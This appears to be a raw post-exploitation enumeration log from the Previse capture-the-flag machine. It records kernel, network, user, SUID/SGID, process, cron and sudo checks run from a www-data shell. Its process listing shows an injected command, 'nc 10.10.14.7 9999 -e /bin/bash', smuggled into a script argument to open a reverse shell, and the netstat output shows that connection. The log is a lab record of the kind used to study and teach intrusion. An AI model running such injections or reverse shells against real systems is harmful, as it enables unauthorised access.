System/Kernel
www-data@previse:/var/www/html$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
linux previse 4.15.0-151-generic #157-ubuntu smp fri jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.5 LTS"
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionicUbuntu 18.04.5 LTS (Bionic Beaver)
4.15.0-151-generic
x86_64
Networks
www-data@previse:/var/www/html$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 17 10.10.11.104:53948 10.10.14.7:9999 ESTABLISHED 3108/bash
tcp 0 1 10.10.11.104:46986 1.1.1.1:53 SYN_SENT -
udp 0 0 127.0.0.1:51913 127.0.0.53:53 ESTABLISHED -
udp 0 0 127.0.0.53:53 0.0.0.0:* - 127.0.0.1:3306
127.0.0.53:53
Users & Groups
www-data@previse:/var/www/html$ cat /etc/passwd ; ls -lasht /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
total 12K
4.0K drwxr-xr-x 5 m4lwhere m4lwhere 4.0K Jul 28 2021 m4lwhere
4.0K drwxr-xr-x 24 root root 4.0K Jul 27 2021 ..
4.0K drwxr-xr-x 3 root root 4.0K May 25 2021 .m4lwhere
www-data@previse:/var/www/html$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuidd) gid=110(uuidd) groups=110(uuidd)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)
uid=109(pollinate) gid=1(daemon) groups=1(daemon)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
uid=111(mysql) gid=114(mysql) groups=114(mysql)SUIDs
www-data@previse:/var/www/html$ find / -perm -04000 -ls -type f 2>/dev/null
133157 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap
132953 76 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
133195 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
133159 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap
133048 76 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
133336 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
132590 148 -rwsr-xr-x 1 root root 149080 Jan 19 2021 /usr/bin/sudo
133158 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
132955 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
133175 60 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
132902 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
133528 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
133714 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
133521 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
133710 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
171140 116 -rwsr-xr-x 1 root root 117880 Mar 26 2021 /usr/lib/snapd/snap-confine
10038 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
6532 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
2016 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
11484 28 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount
11483 44 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
6404 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/pingSGIDs
www-data@previse:/var/www/html$ find / -perm -02000 -ls -type f 2>/dev/null
find / -perm -02000 -ls -type f 2>/dev/null
132976 40 -rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
133291 356 -rwxr-sr-x 1 root ssh 362640 Mar 4 2019 /usr/bin/ssh-agent
153483 32 -rwxr-sr-x 1 root tty 30800 Sep 16 2020 /usr/bin/wall
132948 72 -rwxr-sr-x 1 root shadow 71816 Mar 22 2019 /usr/bin/chage
132913 16 -rwxr-sr-x 1 root tty 14328 Jan 17 2018 /usr/bin/bsd-write
133149 44 -rwxr-sr-x 1 root mlocate 43088 Mar 1 2018 /usr/bin/mlocate
132902 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
133027 24 -rwxr-sr-x 1 root shadow 22808 Mar 22 2019 /usr/bin/expiry
[...REDACTED...]
11141 12 -rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
8034 36 -rwxr-sr-x 1 root shadow 34816 Apr 8 2021 /sbin/pam_extrausers_chkpwd
8040 36 -rwxr-sr-x 1 root shadow 34816 Apr 8 2021 /sbin/unix_chkpwd
17512 4 drwxr-sr-x 3 root systemd-journal 4096 Jul 26 2021 /var/log/journal
47597 4 drwxr-sr-x 2 root systemd-journal 4096 apr 12 09:59 /var/log/journal/6be2a4e8f4a64084a3431f9e662d9ae9
17344 4 drwxrwsr-x 2 root mail 4096 Jul 26 2021 /var/mail
17342 4 drwxrwsr-x 2 root staff 4096 Jul 26 2021 /var/localProcesses
ww-data@previse:/var/www/html$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 159680 8856 ? Ss 09:59 0:02 /sbin/init maybe-ubiquity
root 540 0.0 1.0 102860 21584 ? S<s 09:59 0:00 /lib/systemd/systemd-journald
root 551 0.0 0.0 105912 1900 ? Ss 09:59 0:00 /sbin/lvmetad -f
root 564 0.0 0.2 46824 5700 ? Ss 09:59 0:00 /lib/systemd/systemd-udevd
root 830 0.0 0.4 89872 9892 ? Ss 09:59 0:00 /usr/bin/VGAuthService
root 834 0.1 0.3 225732 7192 ? S<sl 09:59 0:09 /usr/bin/vmtools
root 1132 0.0 0.3 286392 6968 ? Ssl 09:59 0:00 /usr/lib/accountsservice/accounts-daemon
root 1140 0.0 0.8 169104 17200 ? Ssl 09:59 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
daemon 1145 0.0 0.1 28340 2472 ? Ss 09:59 0:00 /usr/sbin/atd -f
root 1149 0.0 0.1 30036 3088 ? Ss 09:59 0:00 /usr/sbin/cron -f
syslog 1155 0.0 0.2 263044 4748 ? Ssl 09:59 0:00 /usr/sbin/rsyslogd -n
root 1157 0.0 0.2 61884 5308 ? Ss 09:59 0:00 /lib/systemd/systemd-logind
root 1164 0.0 0.1 110556 2112 ? Ssl 09:59 0:00 /usr/sbin/irqbalance --foreground
root 1167 0.0 0.1 309420 2204 ? Ssl 09:59 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root 1259 0.0 0.3 288888 6604 ? Ssl 09:59 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1313 0.0 0.0 14896 1924 tty1 Ss+ 09:59 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1355 0.0 0.3 72308 6336 ? Ss 09:59 0:00 /usr/sbin/sshd -D
mysql 1406 0.7 9.4 1623856 190984 ? Sl 09:59 1:01 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
root 1415 0.0 0.8 333728 16876 ? Ss 09:59 0:01 /usr/sbin/apache2 -k start
www-data 2660 0.0 0.6 338556 14024 ? S 10:59 0:01 /usr/sbin/apache2 -k start
www-data 3105 0.0 0.0 4636 828 ? S 12:17 0:00 sh -c /usr/bin/python /opt/scripts/log_process.py blahblah ; nc 10.10.14.7 9999 -e /bin/bash
www-data 3192 0.0 0.1 36708 3224 pts/0 R+ 12:23 0:00 ps -auxwww/usr/sbin/cron -f
/usr/bin/lxcfs /var/lib/lxcfs/
/usr/lib/policykit-1/polkitd --no-debug
Cron & Systemd
www-data@previse:/var/www/html$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED
wed 2023-04-12 12:39:00 UTC 13min left Wed 2023-04-12 12:09:01 UTC 16min ag
wed 2023-04-12 14:08:35 UTC 1h 43min left Wed 2023-04-12 09:59:40 UTC 2h 25min
wed 2023-04-12 15:12:08 UTC 2h 46min left Wed 2023-04-12 10:38:22 UTC 1h 46min
wed 2023-04-12 23:27:40 UTC 11h left Wed 2023-04-12 09:59:40 UTC 2h 25min
thu 2023-04-13 06:02:39 UTC 17h left Wed 2023-04-12 09:59:40 UTC 2h 25min
thu 2023-04-13 10:14:31 UTC 21h left Wed 2023-04-12 10:14:31 UTC 2h 10min
mon 2023-04-17 00:00:00 UTC 4 days left Wed 2023-04-12 09:59:40 UTC 2h 25min
7 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-11/11 (END)Sudo Version
www-data@previse:/var/www/html$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2Sudo version 1.8.21p2
Glibc Version
www-data@previse:/var/www/html$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27